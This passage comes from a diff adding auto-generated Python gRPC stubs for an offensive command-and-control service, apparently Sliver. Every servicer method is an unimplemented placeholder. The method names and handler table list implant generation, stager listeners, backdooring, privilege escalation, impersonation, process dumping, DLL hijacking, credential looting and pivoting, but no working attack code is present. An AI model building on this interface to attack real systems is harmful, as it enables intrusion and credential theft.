+ raise NotImplementedError('Method not implemented!')
+
+ def WebsiteUpdateContent(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WebsiteRemoveContent(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Ping(self, request, context):
+ """*** Session Interactions ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Ps(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Terminate(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Ifconfig(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Netstat(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Ls(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Cd(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Pwd(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Mv(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Rm(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Mkdir(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Download(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Upload(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Chmod(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Chown(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Chtimes(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MemfilesList(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MemfilesAdd(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MemfilesRm(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ProcessDump(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RunAs(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Impersonate(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RevToSelf(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetSystem(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Task(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Msf(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MsfRemote(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ExecuteAssembly(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Migrate(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Execute(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ExecuteWindows(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Sideload(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def SpawnDll(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Screenshot(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CurrentTokenOwner(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def PivotStartListener(self, request, context):
+ """*** Pivots ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def PivotStopListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def PivotSessionListeners(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def PivotGraph(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartService(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StopService(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RemoveService(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def MakeToken(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetEnv(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def SetEnv(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def UnsetEnv(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Backdoor(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegistryRead(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegistryWrite(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegistryCreateKey(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegistryDeleteKey(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegistryListSubKeys(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegistryListValues(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RunSSHCommand(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def HijackDLL(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetPrivs(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StartRportFwdListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def GetRportFwdListeners(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def StopRportFwdListener(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def OpenSession(self, request, context):
+ """*** Beacon *** -only commands
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CloseSession(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegisterExtension(self, request, context):
+ """*** Extensions ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CallExtension(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ListExtensions(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def RegisterWasmExtension(self, request, context):
+ """*** Wasm Extensions ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ListWasmExtensions(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def ExecWasmExtension(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WGStartPortForward(self, request, context):
+ """*** Wireguard Specific ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WGStopPortForward(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WGStartSocks(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WGStopSocks(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WGListForwarders(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def WGListSocksServers(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Shell(self, request, context):
+ """*** Realtime Commands ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Portfwd(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CreateSocks(self, request, context):
+ """*** Socks5 ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CloseSocks(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def SocksProxy(self, request_iterator, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CreateTunnel(self, request, context):
+ """*** Tunnels ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def CloseTunnel(self, request, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def TunnelData(self, request_iterator, context):
+ """Missing associated documentation comment in .proto file."""
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+ def Events(self, request, context):
+ """*** Events ***
+ """
+ context.set_code(grpc.StatusCode.UNIMPLEMENTED)
+ context.set_details('Method not implemented!')
+ raise NotImplementedError('Method not implemented!')
+
+
+def add_SliverRPCServicer_to_server(servicer, server):
+ rpc_method_handlers = {
+ 'GetVersion': grpc.unary_unary_rpc_method_handler(
+ servicer.GetVersion,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Version.SerializeToString,
+ ),
+ 'ClientConsoleLog': grpc.stream_unary_rpc_method_handler(
+ servicer.ClientConsoleLog,
+ request_deserializer=clientpb_dot_client__pb2.ClientConsoleLogData.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'GetOperators': grpc.unary_unary_rpc_method_handler(
+ servicer.GetOperators,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Operators.SerializeToString,
+ ),
+ 'Kill': grpc.unary_unary_rpc_method_handler(
+ servicer.Kill,
+ request_deserializer=sliverpb_dot_sliver__pb2.KillReq.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'Reconfigure': grpc.unary_unary_rpc_method_handler(
+ servicer.Reconfigure,
+ request_deserializer=sliverpb_dot_sliver__pb2.ReconfigureReq.FromString,
+ response_serializer=sliverpb_dot_sliver__pb2.Reconfigure.SerializeToString,
+ ),
+ 'Rename': grpc.unary_unary_rpc_method_handler(
+ servicer.Rename,
+ request_deserializer=clientpb_dot_client__pb2.RenameReq.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'GetSessions': grpc.unary_unary_rpc_method_handler(
+ servicer.GetSessions,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Sessions.SerializeToString,
+ ),
+ 'GetBeacons': grpc.unary_unary_rpc_method_handler(
+ servicer.GetBeacons,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Beacons.SerializeToString,
+ ),
+ 'GetBeacon': grpc.unary_unary_rpc_method_handler(
+ servicer.GetBeacon,
+ request_deserializer=clientpb_dot_client__pb2.Beacon.FromString,
+ response_serializer=clientpb_dot_client__pb2.Beacon.SerializeToString,
+ ),
+ 'RmBeacon': grpc.unary_unary_rpc_method_handler(
+ servicer.RmBeacon,
+ request_deserializer=clientpb_dot_client__pb2.Beacon.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'GetBeaconTasks': grpc.unary_unary_rpc_method_handler(
+ servicer.GetBeaconTasks,
+ request_deserializer=clientpb_dot_client__pb2.Beacon.FromString,
+ response_serializer=clientpb_dot_client__pb2.BeaconTasks.SerializeToString,
+ ),
+ 'GetBeaconTaskContent': grpc.unary_unary_rpc_method_handler(
+ servicer.GetBeaconTaskContent,
+ request_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString,
+ response_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString,
+ ),
+ 'CancelBeaconTask': grpc.unary_unary_rpc_method_handler(
+ servicer.CancelBeaconTask,
+ request_deserializer=clientpb_dot_client__pb2.BeaconTask.FromString,
+ response_serializer=clientpb_dot_client__pb2.BeaconTask.SerializeToString,
+ ),
+ 'MonitorStart': grpc.unary_unary_rpc_method_handler(
+ servicer.MonitorStart,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=commonpb_dot_common__pb2.Response.SerializeToString,
+ ),
+ 'MonitorStop': grpc.unary_unary_rpc_method_handler(
+ servicer.MonitorStop,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'GetJobs': grpc.unary_unary_rpc_method_handler(
+ servicer.GetJobs,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Jobs.SerializeToString,
+ ),
+ 'KillJob': grpc.unary_unary_rpc_method_handler(
+ servicer.KillJob,
+ request_deserializer=clientpb_dot_client__pb2.KillJobReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.KillJob.SerializeToString,
+ ),
+ 'StartMTLSListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartMTLSListener,
+ request_deserializer=clientpb_dot_client__pb2.MTLSListenerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.MTLSListener.SerializeToString,
+ ),
+ 'StartWGListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartWGListener,
+ request_deserializer=clientpb_dot_client__pb2.WGListenerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.WGListener.SerializeToString,
+ ),
+ 'StartDNSListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartDNSListener,
+ request_deserializer=clientpb_dot_client__pb2.DNSListenerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.DNSListener.SerializeToString,
+ ),
+ 'StartHTTPSListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartHTTPSListener,
+ request_deserializer=clientpb_dot_client__pb2.HTTPListenerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.HTTPListener.SerializeToString,
+ ),
+ 'StartHTTPListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartHTTPListener,
+ request_deserializer=clientpb_dot_client__pb2.HTTPListenerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.HTTPListener.SerializeToString,
+ ),
+ 'StartTCPStagerListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartTCPStagerListener,
+ request_deserializer=clientpb_dot_client__pb2.StagerListenerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.StagerListener.SerializeToString,
+ ),
+ 'StartHTTPStagerListener': grpc.unary_unary_rpc_method_handler(
+ servicer.StartHTTPStagerListener,
+ request_deserializer=clientpb_dot_client__pb2.StagerListenerReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.StagerListener.SerializeToString,
+ ),
+ 'LootAdd': grpc.unary_unary_rpc_method_handler(
+ servicer.LootAdd,
+ request_deserializer=clientpb_dot_client__pb2.Loot.FromString,
+ response_serializer=clientpb_dot_client__pb2.Loot.SerializeToString,
+ ),
+ 'LootRm': grpc.unary_unary_rpc_method_handler(
+ servicer.LootRm,
+ request_deserializer=clientpb_dot_client__pb2.Loot.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'LootUpdate': grpc.unary_unary_rpc_method_handler(
+ servicer.LootUpdate,
+ request_deserializer=clientpb_dot_client__pb2.Loot.FromString,
+ response_serializer=clientpb_dot_client__pb2.Loot.SerializeToString,
+ ),
+ 'LootContent': grpc.unary_unary_rpc_method_handler(
+ servicer.LootContent,
+ request_deserializer=clientpb_dot_client__pb2.Loot.FromString,
+ response_serializer=clientpb_dot_client__pb2.Loot.SerializeToString,
+ ),
+ 'LootAll': grpc.unary_unary_rpc_method_handler(
+ servicer.LootAll,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.AllLoot.SerializeToString,
+ ),
+ 'Creds': grpc.unary_unary_rpc_method_handler(
+ servicer.Creds,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString,
+ ),
+ 'CredsAdd': grpc.unary_unary_rpc_method_handler(
+ servicer.CredsAdd,
+ request_deserializer=clientpb_dot_client__pb2.Credentials.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'CredsRm': grpc.unary_unary_rpc_method_handler(
+ servicer.CredsRm,
+ request_deserializer=clientpb_dot_client__pb2.Credentials.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'CredsUpdate': grpc.unary_unary_rpc_method_handler(
+ servicer.CredsUpdate,
+ request_deserializer=clientpb_dot_client__pb2.Credentials.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'GetCredByID': grpc.unary_unary_rpc_method_handler(
+ servicer.GetCredByID,
+ request_deserializer=clientpb_dot_client__pb2.Credential.FromString,
+ response_serializer=clientpb_dot_client__pb2.Credential.SerializeToString,
+ ),
+ 'GetCredsByHashType': grpc.unary_unary_rpc_method_handler(
+ servicer.GetCredsByHashType,
+ request_deserializer=clientpb_dot_client__pb2.Credential.FromString,
+ response_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString,
+ ),
+ 'GetPlaintextCredsByHashType': grpc.unary_unary_rpc_method_handler(
+ servicer.GetPlaintextCredsByHashType,
+ request_deserializer=clientpb_dot_client__pb2.Credential.FromString,
+ response_serializer=clientpb_dot_client__pb2.Credentials.SerializeToString,
+ ),
+ 'CredsSniffHashType': grpc.unary_unary_rpc_method_handler(
+ servicer.CredsSniffHashType,
+ request_deserializer=clientpb_dot_client__pb2.Credential.FromString,
+ response_serializer=clientpb_dot_client__pb2.Credential.SerializeToString,
+ ),
+ 'Hosts': grpc.unary_unary_rpc_method_handler(
+ servicer.Hosts,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.AllHosts.SerializeToString,
+ ),
+ 'Host': grpc.unary_unary_rpc_method_handler(
+ servicer.Host,
+ request_deserializer=clientpb_dot_client__pb2.Host.FromString,
+ response_serializer=clientpb_dot_client__pb2.Host.SerializeToString,
+ ),
+ 'HostRm': grpc.unary_unary_rpc_method_handler(
+ servicer.HostRm,
+ request_deserializer=clientpb_dot_client__pb2.Host.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'HostIOCRm': grpc.unary_unary_rpc_method_handler(
+ servicer.HostIOCRm,
+ request_deserializer=clientpb_dot_client__pb2.IOC.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'Generate': grpc.unary_unary_rpc_method_handler(
+ servicer.Generate,
+ request_deserializer=clientpb_dot_client__pb2.GenerateReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.Generate.SerializeToString,
+ ),
+ 'GenerateExternal': grpc.unary_unary_rpc_method_handler(
+ servicer.GenerateExternal,
+ request_deserializer=clientpb_dot_client__pb2.ExternalGenerateReq.FromString,
+ response_serializer=clientpb_dot_client__pb2.ExternalImplantConfig.SerializeToString,
+ ),
+ 'GenerateExternalSaveBuild': grpc.unary_unary_rpc_method_handler(
+ servicer.GenerateExternalSaveBuild,
+ request_deserializer=clientpb_dot_client__pb2.ExternalImplantBinary.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'GenerateExternalGetImplantConfig': grpc.unary_unary_rpc_method_handler(
+ servicer.GenerateExternalGetImplantConfig,
+ request_deserializer=clientpb_dot_client__pb2.ImplantConfig.FromString,
+ response_serializer=clientpb_dot_client__pb2.ExternalImplantConfig.SerializeToString,
+ ),
+ 'BuilderRegister': grpc.unary_stream_rpc_method_handler(
+ servicer.BuilderRegister,
+ request_deserializer=clientpb_dot_client__pb2.Builder.FromString,
+ response_serializer=clientpb_dot_client__pb2.Event.SerializeToString,
+ ),
+ 'BuilderTrigger': grpc.unary_unary_rpc_method_handler(
+ servicer.BuilderTrigger,
+ request_deserializer=clientpb_dot_client__pb2.Event.FromString,
+ response_serializer=commonpb_dot_common__pb2.Empty.SerializeToString,
+ ),
+ 'Builders': grpc.unary_unary_rpc_method_handler(
+ servicer.Builders,
+ request_deserializer=commonpb_dot_common__pb2.Empty.FromString,
+ response_serializer=clientpb_dot_client__pb2.Builders.SerializeToString,
+ ),
+ 'CrackstationRegister': grpc.unary_stream_rpc_method_handler(
